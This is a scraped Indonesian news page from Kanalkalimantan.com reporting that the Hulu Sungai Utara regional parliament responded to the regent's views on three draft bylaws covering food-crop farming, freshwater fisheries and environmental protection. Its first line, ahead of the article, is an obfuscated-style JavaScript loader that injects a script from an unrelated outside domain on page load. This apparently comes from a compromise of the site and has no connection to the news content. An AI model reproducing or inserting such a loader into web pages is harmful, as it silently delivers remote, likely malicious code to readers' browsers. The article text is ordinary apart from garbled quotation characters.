(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) memberikan respon positif atas pendapat kepala daerah terhadap tiga buah Rancangan Peraturan Daerah (Raperda) prakarsa DPRD.
Hal itu seperti disampaikan Anggota Komisi II DPRD HSU, Junaidi dalam rapat paripurna DPRD HSU dengan agenda penyampaian jawaban dan tanggapan Fraksi DPRD atas pendapat kepala daerah terhadap tiga buah Raperda prakarsa DPRD, Senin (21/8/2023) siang.
Tiga Raperda prakarsa DPRD tersebut yakni Raperda tentang penyelenggaraan pertanian tanaman pangan, Raperda tentang perikanan air tawar berkelanjutan, dan Raperda tentang pengelolaan dan perlindungan lingkungan hidup.
Baca juga:Â Kasus ‘Belah Semangka’ Proyek Bendungan Tapin Kembali Tanpa Saksi Meringankan
“Atas nama fraksi-faksi DPRD, kami menyampaikan ucapan terimakasih atas segala saran, masukan dan dukungan dari pemerintah daerah guna penyempurnaan Raperda prakarsa DPRD ini,†kata Junaidi saat mewakili fraksi-fraksi DPRD HSU.
Setelah menyimak jawaban kepala daerah terhadap tiga Raperda prakarsa DPRD pada rapat sebelumnya, Junaidi menyebut fraksi-fraksi DPRD menyambut baik atas dukungan yang telah diberikan pemerintah daerah mempermudah proses pembahasan selanjutnya.
“Artinya masing-masing lembaga, baik legislatif maupun lembaga eksekutif telah memiliki sudut pandangan yang sama,†kata Junaidi.
Baca juga:Â Jalan Poros Amuntai-Tanjung Retak Longsor, Polisi Pasang Garis Pengaman
DPRD HSU bersama pemerintah daerah dan masyarakat dapat mengkaji dan mendalami Raperda prakarsa DPRD tersebut hingga menjadi peraturan daerah.
Raperda prakarsa DPRD ini berasal dari aspirasi masyarakat, seperti Raperda tentang penyelenggaraan pertanian tanaman pangan yang dilatarbelakangi topografi Kabupaten HSU yang sangat bergantung pada cuaca, perubahan iklim, dan rentan terhadap bencana alam.
“Sehingga melalui Raperda ini diharapkan, pemerintah daerah melaksanakan kewenangan untuk mengoptimalkan potensi pertanian tanaman pangan secara sistematis terarah, berkelanjutan serta ramah lingkungan,†jelasnya.
Baca juga:Â DWP Dinas PUPR Kalsel Bagikan Air Bersih ke Daerah Kekeringan
Hal yang sama juga diharapkannya pada Raperda tentang perikanan air tawar berkelanjutan, karena budidaya dan pengolahan ikan berperan penting bagi pembangunan perekonomian masyarakat HSU.
“Begitu juga Raperda tentang pengelolaan dan perlindungan lingkungan hidup yang dilatarbelakangi bahwa pemerintah daerah harus menjamin hak setiap warga untuk mendapatkan lingkungan hidup yang baik dan sehat,” tandasnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.